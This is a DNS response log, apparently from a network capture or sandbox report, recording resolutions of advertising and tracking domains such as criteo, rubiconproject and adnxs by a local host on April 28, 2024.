Apr 28, 2024 00:42:10.376269102 CEST	1.1.1.1	192.168.2.4	0xc6a	No error (0)	smarttag.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.379806995 CEST	1.1.1.1	192.168.2.4	0x61e5	No error (0)	hbx.media.net		23.222.200.28	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.379903078 CEST	1.1.1.1	192.168.2.4	0xc33f	No error (0)	gum.criteo.com	gum.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.380319118 CEST	1.1.1.1	192.168.2.4	0x2104	No error (0)	gum.criteo.com	gum.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.380319118 CEST	1.1.1.1	192.168.2.4	0x2104	No error (0)	gum.us5.vip.prod.criteo.com		74.119.117.17	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.380609035 CEST	1.1.1.1	192.168.2.4	0x7b5c	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.380609035 CEST	1.1.1.1	192.168.2.4	0x7b5c	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.381661892 CEST	1.1.1.1	192.168.2.4	0xfc61	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.383589983 CEST	1.1.1.1	192.168.2.4	0x39d	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.385888100 CEST	1.1.1.1	192.168.2.4	0x9459	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.385888100 CEST	1.1.1.1	192.168.2.4	0x9459	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.386353970 CEST	1.1.1.1	192.168.2.4	0x71cf	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.386775970 CEST	1.1.1.1	192.168.2.4	0xea37	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.386790991 CEST	1.1.1.1	192.168.2.4	0x51ce	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.387430906 CEST	1.1.1.1	192.168.2.4	0x3130	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.387430906 CEST	1.1.1.1	192.168.2.4	0x3130	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.67	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.387430906 CEST	1.1.1.1	192.168.2.4	0x3130	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.66	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.387430906 CEST	1.1.1.1	192.168.2.4	0x3130	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.34	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.387430906 CEST	1.1.1.1	192.168.2.4	0x3130	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.35	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.387913942 CEST	1.1.1.1	192.168.2.4	0x3706	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.387913942 CEST	1.1.1.1	192.168.2.4	0x3706	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.389245987 CEST	1.1.1.1	192.168.2.4	0x2615	No error (0)	sync.1rx.io		69.194.240.13	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.389982939 CEST	1.1.1.1	192.168.2.4	0x95ce	No error (0)	dis.criteo.com	widget.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.389982939 CEST	1.1.1.1	192.168.2.4	0x95ce	No error (0)	widget.us5.vip.prod.criteo.com		74.119.117.16	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.389995098 CEST	1.1.1.1	192.168.2.4	0x13cd	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.390352964 CEST	1.1.1.1	192.168.2.4	0xc5cc	No error (0)	dis.criteo.com	widget.da1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.390366077 CEST	1.1.1.1	192.168.2.4	0xf8b4	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.390366077 CEST	1.1.1.1	192.168.2.4	0xf8b4	No error (0)	cdn.w55c.net		54.165.249.206	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.390366077 CEST	1.1.1.1	192.168.2.4	0xf8b4	No error (0)	cdn.w55c.net		54.145.239.252	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.390366077 CEST	1.1.1.1	192.168.2.4	0xf8b4	No error (0)	cdn.w55c.net		52.2.202.248	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.390366077 CEST	1.1.1.1	192.168.2.4	0xf8b4	No error (0)	cdn.w55c.net		54.166.33.239	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.390366077 CEST	1.1.1.1	192.168.2.4	0xf8b4	No error (0)	cdn.w55c.net		52.72.148.93	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.390366077 CEST	1.1.1.1	192.168.2.4	0xf8b4	No error (0)	cdn.w55c.net		54.205.149.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.390366077 CEST	1.1.1.1	192.168.2.4	0xf8b4	No error (0)	cdn.w55c.net		52.206.187.119	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.390366077 CEST	1.1.1.1	192.168.2.4	0xf8b4	No error (0)	cdn.w55c.net		54.165.171.153	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.400598049 CEST	1.1.1.1	192.168.2.4	0x8b17	No error (0)	medianet-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.400691032 CEST	1.1.1.1	192.168.2.4	0x3d3c	No error (0)	medianet-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.477850914 CEST	1.1.1.1	192.168.2.4	0x638e	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.477850914 CEST	1.1.1.1	192.168.2.4	0x638e	No error (0)	image6v2.pubmnet.com	pugm-nje1.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.478598118 CEST	1.1.1.1	192.168.2.4	0x4fea	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.478598118 CEST	1.1.1.1	192.168.2.4	0x4fea	No error (0)	image6v2.pubmnet.com	pugm-nje1.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.478598118 CEST	1.1.1.1	192.168.2.4	0x4fea	No error (0)	pugm-nje1.pubmnet.com		207.65.37.181	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.686510086 CEST	1.1.1.1	192.168.2.4	0xd79a	No error (0)	kinesis.us-east-1.amazonaws.com		3.91.171.154	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.688210011 CEST	1.1.1.1	192.168.2.4	0xebaa	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.688210011 CEST	1.1.1.1	192.168.2.4	0xebaa	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.688210011 CEST	1.1.1.1	192.168.2.4	0xebaa	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		44.214.122.172	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.688210011 CEST	1.1.1.1	192.168.2.4	0xebaa	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		44.196.30.89	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.688210011 CEST	1.1.1.1	192.168.2.4	0xebaa	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		44.216.253.69	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.688210011 CEST	1.1.1.1	192.168.2.4	0xebaa	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		54.88.165.28	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.688210011 CEST	1.1.1.1	192.168.2.4	0xebaa	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		44.215.251.144	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.688210011 CEST	1.1.1.1	192.168.2.4	0xebaa	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		54.85.41.141	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.688210011 CEST	1.1.1.1	192.168.2.4	0xebaa	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		34.195.106.1	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.688210011 CEST	1.1.1.1	192.168.2.4	0xebaa	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.230.201.142	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.688821077 CEST	1.1.1.1	192.168.2.4	0xc9ed	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.688821077 CEST	1.1.1.1	192.168.2.4	0xc9ed	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.690109015 CEST	1.1.1.1	192.168.2.4	0xa619	No error (0)	matchadsrvr.yieldmo.com	dlijww04fyyln.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.690440893 CEST	1.1.1.1	192.168.2.4	0xbd66	No error (0)	matchadsrvr.yieldmo.com	dlijww04fyyln.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.690440893 CEST	1.1.1.1	192.168.2.4	0xbd66	No error (0)	dlijww04fyyln.cloudfront.net		99.84.191.54	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.690440893 CEST	1.1.1.1	192.168.2.4	0xbd66	No error (0)	dlijww04fyyln.cloudfront.net		99.84.191.46	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.690440893 CEST	1.1.1.1	192.168.2.4	0xbd66	No error (0)	dlijww04fyyln.cloudfront.net		99.84.191.61	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.690440893 CEST	1.1.1.1	192.168.2.4	0xbd66	No error (0)	dlijww04fyyln.cloudfront.net		99.84.191.115	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.054754972 CEST	1.1.1.1	192.168.2.4	0x3a4c	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.054807901 CEST	1.1.1.1	192.168.2.4	0x8b3d	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.193237066 CEST	1.1.1.1	192.168.2.4	0xe6ac	No error (0)	sync1.intentiq.com		52.85.132.15	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.193237066 CEST	1.1.1.1	192.168.2.4	0xe6ac	No error (0)	sync1.intentiq.com		52.85.132.46	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.193237066 CEST	1.1.1.1	192.168.2.4	0xe6ac	No error (0)	sync1.intentiq.com		52.85.132.68	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.193237066 CEST	1.1.1.1	192.168.2.4	0xe6ac	No error (0)	sync1.intentiq.com		52.85.132.4	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.262934923 CEST	1.1.1.1	192.168.2.4	0x1a67	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.263302088 CEST	1.1.1.1	192.168.2.4	0x4711	No error (0)	x.bidswitch.net	user-data-us-west.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.263302088 CEST	1.1.1.1	192.168.2.4	0x4711	No error (0)	user-data-us-west.bidswitch.net		35.212.133.238	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.264128923 CEST	1.1.1.1	192.168.2.4	0xd886	No error (0)	acdn.adnxs.com	prod.appnexus.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.264128923 CEST	1.1.1.1	192.168.2.4	0xd886	No error (0)	prod.appnexus.map.fastly.net		151.101.1.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.264128923 CEST	1.1.1.1	192.168.2.4	0xd886	No error (0)	prod.appnexus.map.fastly.net		151.101.193.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.264128923 CEST	1.1.1.1	192.168.2.4	0xd886	No error (0)	prod.appnexus.map.fastly.net		151.101.129.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.264128923 CEST	1.1.1.1	192.168.2.4	0xd886	No error (0)	prod.appnexus.map.fastly.net		151.101.65.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	ib.anycast.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	ib.anycast.adnxs.com		68.67.179.87	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	ib.anycast.adnxs.com		68.67.160.26	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	ib.anycast.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	ib.anycast.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.270217896 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	ib.anycast.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.271142006 CEST	1.1.1.1	192.168.2.4	0xd2d0	No error (0)	match.deepintent.com	m.deepintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.271142006 CEST	1.1.1.1	192.168.2.4	0xd2d0	No error (0)	m.deepintent.com		38.91.45.7	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.271142006 CEST	1.1.1.1	192.168.2.4	0xd2d0	No error (0)	m.deepintent.com		8.18.47.7	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.271142006 CEST	1.1.1.1	192.168.2.4	0xd2d0	No error (0)	m.deepintent.com		169.197.150.7	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.271142006 CEST	1.1.1.1	192.168.2.4	0xd2d0	No error (0)	m.deepintent.com		169.197.150.8	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.272972107 CEST	1.1.1.1	192.168.2.4	0x7699	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.273313999 CEST	1.1.1.1	192.168.2.4	0x9b9a	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.273313999 CEST	1.1.1.1	192.168.2.4	0x9b9a	No error (0)	idaas-ext.cph.liveintent.com		3.212.29.205	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.273313999 CEST	1.1.1.1	192.168.2.4	0x9b9a	No error (0)	idaas-ext.cph.liveintent.com		3.91.119.142	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.273313999 CEST	1.1.1.1	192.168.2.4	0x9b9a	No error (0)	idaas-ext.cph.liveintent.com		34.202.111.140	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.273313999 CEST	1.1.1.1	192.168.2.4	0x9b9a	No error (0)	idaas-ext.cph.liveintent.com		3.218.132.46	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.273313999 CEST	1.1.1.1	192.168.2.4	0x9b9a	No error (0)	idaas-ext.cph.liveintent.com		44.215.221.214	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.273313999 CEST	1.1.1.1	192.168.2.4	0x9b9a	No error (0)	idaas-ext.cph.liveintent.com		204.236.219.255	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.273313999 CEST	1.1.1.1	192.168.2.4	0x9b9a	No error (0)	idaas-ext.cph.liveintent.com		34.204.109.177	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.273313999 CEST	1.1.1.1	192.168.2.4	0x9b9a	No error (0)	idaas-ext.cph.liveintent.com		3.89.179.162	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.274255991 CEST	1.1.1.1	192.168.2.4	0x4f7c	No error (0)	us01.z.antigena.com		40.76.134.238	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.274481058 CEST	1.1.1.1	192.168.2.4	0xf504	No error (0)	um.simpli.fi		35.236.220.17	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.274481058 CEST	1.1.1.1	192.168.2.4	0xf504	No error (0)	um.simpli.fi		35.194.66.159	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.274481058 CEST	1.1.1.1	192.168.2.4	0xf504	No error (0)	um.simpli.fi		34.150.170.96	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.275633097 CEST	1.1.1.1	192.168.2.4	0x107e	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.275633097 CEST	1.1.1.1	192.168.2.4	0x107e	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.275633097 CEST	1.1.1.1	192.168.2.4	0x107e	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.275994062 CEST	1.1.1.1	192.168.2.4	0xd972	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.275994062 CEST	1.1.1.1	192.168.2.4	0xd972	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.275994062 CEST	1.1.1.1	192.168.2.4	0xd972	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.275994062 CEST	1.1.1.1	192.168.2.4	0xd972	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.275994062 CEST	1.1.1.1	192.168.2.4	0xd972	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.280464888 CEST	1.1.1.1	192.168.2.4	0x7f59	No error (0)	b1sync.zemanta.com	b1-use1.zemanta.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.280464888 CEST	1.1.1.1	192.168.2.4	0x7f59	No error (0)	b1-use1.zemanta.com	zemanta-nychi2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.280464888 CEST	1.1.1.1	192.168.2.4	0x7f59	No error (0)	zemanta-nychi2.outbrain.org	chidc2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.280602932 CEST	1.1.1.1	192.168.2.4	0x2e4c	No error (0)	b1sync.zemanta.com	b1-use1.zemanta.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.280602932 CEST	1.1.1.1	192.168.2.4	0x2e4c	No error (0)	b1-use1.zemanta.com	zemanta-nychi2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.280602932 CEST	1.1.1.1	192.168.2.4	0x2e4c	No error (0)	zemanta-nychi2.outbrain.org	chidc2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.280602932 CEST	1.1.1.1	192.168.2.4	0x2e4c	No error (0)	chidc2.outbrain.org		50.31.142.223	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.383939981 CEST	1.1.1.1	192.168.2.4	0x3436	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Apr 28, 2024 00:42:11.384140968 CEST	1.1.1.1	192.168.2.4	0x90bb	No error (0)	ad.doubleclick.net		172.253.122.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.384140968 CEST	1.1.1.1	192.168.2.4	0x90bb	No error (0)	ad.doubleclick.net		172.253.122.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.494158983 CEST	1.1.1.1	192.168.2.4	0x6022	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.494158983 CEST	1.1.1.1	192.168.2.4	0x6022	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.494261980 CEST	1.1.1.1	192.168.2.4	0xc546	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Apr 28, 2024 00:42:11.495873928 CEST	1.1.1.1	192.168.2.4	0xf62	No error (0)	aam.a47b.com	api_main.a47b.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.495873928 CEST	1.1.1.1	192.168.2.4	0xf62	No error (0)	api_main.a47b.com	am-api-prod-app-235733331.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.495873928 CEST	1.1.1.1	192.168.2.4	0xf62	No error (0)	am-api-prod-app-235733331.us-east-1.elb.amazonaws.com		44.221.181.168	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.495873928 CEST	1.1.1.1	192.168.2.4	0xf62	No error (0)	am-api-prod-app-235733331.us-east-1.elb.amazonaws.com		34.205.160.199	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.495873928 CEST	1.1.1.1	192.168.2.4	0xf62	No error (0)	am-api-prod-app-235733331.us-east-1.elb.amazonaws.com		54.211.114.193	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.495873928 CEST	1.1.1.1	192.168.2.4	0xf62	No error (0)	am-api-prod-app-235733331.us-east-1.elb.amazonaws.com		3.233.72.110	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.495873928 CEST	1.1.1.1	192.168.2.4	0xf62	No error (0)	am-api-prod-app-235733331.us-east-1.elb.amazonaws.com		52.205.201.25	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.495873928 CEST	1.1.1.1	192.168.2.4	0xf62	No error (0)	am-api-prod-app-235733331.us-east-1.elb.amazonaws.com		34.234.229.230	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.495873928 CEST	1.1.1.1	192.168.2.4	0xf62	No error (0)	am-api-prod-app-235733331.us-east-1.elb.amazonaws.com		54.88.175.210	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.495873928 CEST	1.1.1.1	192.168.2.4	0xf62	No error (0)	am-api-prod-app-235733331.us-east-1.elb.amazonaws.com		34.203.95.152	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.496284962 CEST	1.1.1.1	192.168.2.4	0x243b	No error (0)	s8t.teads.tv	s8t.teads.tv-v2.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.496588945 CEST	1.1.1.1	192.168.2.4	0x1b4f	No error (0)	beacon-iad2.rubiconproject.com	beacon-iad2.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.497086048 CEST	1.1.1.1	192.168.2.4	0x9ea5	No error (0)	s8t.teads.tv	s8t.teads.tv-v2.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:11.497415066 CEST	1.1.1.1	192.168.2.4	0xf814	No error (0)	rtb.gumgum.com		34.224.235.2	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.497415066 CEST	1.1.1.1	192.168.2.4	0xf814	No error (0)	rtb.gumgum.com		34.236.124.74	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.497415066 CEST	1.1.1.1	192.168.2.4	0xf814	No error (0)	rtb.gumgum.com		54.165.192.241	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.497415066 CEST	1.1.1.1	192.168.2.4	0xf814	No error (0)	rtb.gumgum.com		54.156.210.60	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.497415066 CEST	1.1.1.1	192.168.2.4	0xf814	No error (0)	rtb.gumgum.com		18.214.106.96	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.497415066 CEST	1.1.1.1	192.168.2.4	0xf814	No error (0)	rtb.gumgum.com		52.45.78.243	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.497415066 CEST	1.1.1.1	192.168.2.4	0xf814	No error (0)	rtb.gumgum.com		54.159.199.130	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.497415066 CEST	1.1.1.1	192.168.2.4	0xf814	No error (0)	rtb.gumgum.com		34.206.70.52	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.497551918 CEST	1.1.1.1	192.168.2.4	0x7950	No error (0)	aam.a47b.com	api_main.a47b.com		CNAME (Canonical name)	IN (0x0001)	false
